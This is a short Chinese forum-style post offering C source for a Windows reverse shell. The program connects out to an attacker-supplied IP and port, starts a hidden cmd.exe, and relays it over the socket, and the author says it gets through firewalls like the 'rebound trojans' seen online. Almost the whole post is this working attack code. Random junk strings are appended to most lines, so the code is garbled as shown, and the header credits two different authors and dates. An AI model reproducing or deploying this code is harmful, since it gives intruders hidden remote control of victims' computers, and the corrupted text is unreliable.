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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 U8Pnt|0M  
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/* ============================== C*}TY)8  
Rebound port in Windows NT 1@nGD<,.  
By wind,2006/7 %`%xD>![  
===============================*/ _jw A_  
#include kF9T 9  
#include ,KlTitJl\+  
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#pragma comment(lib,"wsock32.lib") 1Ftl1uf  
9})!~r;|  
void OutputShell(); ?"p:6%GFz  
SOCKET sClient; e!wS"[,  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; E6SGK,f0D  
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void main(int argc,char **argv) K_iy^|0)5]  
{ ! af35WF  
WSADATA stWsaData; @15%fX`*o  
int nRet; 3z[yKua\  
SOCKADDR_IN stSaiClient,stSaiServer; iQczvn)"m  
l-yQ3/:  
if(argc != 3) ZhKYoPIq  
{ Ns-cT'1-  
printf("Useage:\n\rRebound DestIP DestPort\n"); G .~Psw#  
return; *f~X wy"  
} /;M0tP  
^;3z9}9  
WSAStartup(MAKEWORD(2,2),&stWsaData); H( `^1  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1i9}mzy%  
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stSaiClient.sin_family = AF_INET; ]j0v.[SX  
stSaiClient.sin_port = htons(0); .l5y !?  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >t u3m2  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) GiB3.%R`  
{ a3 wUB  
printf("Bind Socket Failed!\n"); aT"q}UTK  
return; = LuH:VM&  
} yowvq4e  
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stSaiServer.sin_family = AF_INET; Z~$=V:EA?  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); F<X)eO]tk  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); nJ.p PzH2g  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) DqrS5!C  
{ 5KU}dw>*g  
printf("Connect Error!"); 13s!gwE)  
return; V{;Mh u`+  
} e{Pgz0sO Q  
OutputShell(); L.lmbxn  
} R3wK@D  
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void OutputShell() 0U ?1Yh7 m  
{ }S3m wp<Y  
char szBuff[1024]; ^-PlTmT  
SECURITY_ATTRIBUTES stSecurityAttributes; (w?@qs!  
OSVERSIONINFO stOsversionInfo; ^~|P[}  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; _;$VH4(BI  
STARTUPINFO stStartupInfo; 'Wl) )lB  
char *szShell; a3ve%b  
PROCESS_INFORMATION stProcessInformation; S1wt>}w0$  
unsigned long lBytesRead; Nqp%Z7G  
/ O6n[qj|  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); z}yntY]n  
c*K-?n9YMz  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -ZH]i}$  
stSecurityAttributes.lpSecurityDescriptor = 0; U/Z!c\r  
stSecurityAttributes.bInheritHandle = TRUE; jE2k\\<a  
|HI =ykfI  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); q .nsGbl  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [3;J,P=&  
m!a<\0^  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %FLz}QW*  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vLJ<_&6  
stStartupInfo.wShowWindow = SW_HIDE; ZU7e1VaZM  
stStartupInfo.hStdInput = hReadPipe; &6FRw0GX  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; =:v\}/  
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GetVersionEx(&stOsversionInfo); `Z>4}<~+  
:}FMauHh  
switch(stOsversionInfo.dwPlatformId) . [+ObF9=  
{ Y(78qs1w  
case 1: ~HI|t2C  
szShell = "command.com"; [Nr6 qxWg  
break; tx Lo =  
default: :,y V?E6]  
szShell = "cmd.exe"; m*  |3  
break; G+ Y`65  
} D$;mur'  
j\f;zb?F  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); jY$Bns&.w  
2!cP[ Ck  
send(sClient,szMsg,77,0); E {4/$}  
while(1) }&d]Uv/4  
{ nBjfR2TuF  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [G+M94[A  
if(lBytesRead) -lRXH7|X  
{ \=v7'Hp  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); .1 .n{4z>:  
send(sClient,szBuff,lBytesRead,0); + B%fp*  
} nYY@+%` ]z  
else \gki!!HQ  
{ Nj*J~&6G  
lBytesRead=recv(sClient,szBuff,1024,0); U: ~O^  
if(lBytesRead<=0) break; !FZb3U@  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ;B o2$  
} YMj z , N  
} ueDG1)  
?%i|].<-'  
return; <tMiI)0%  
}
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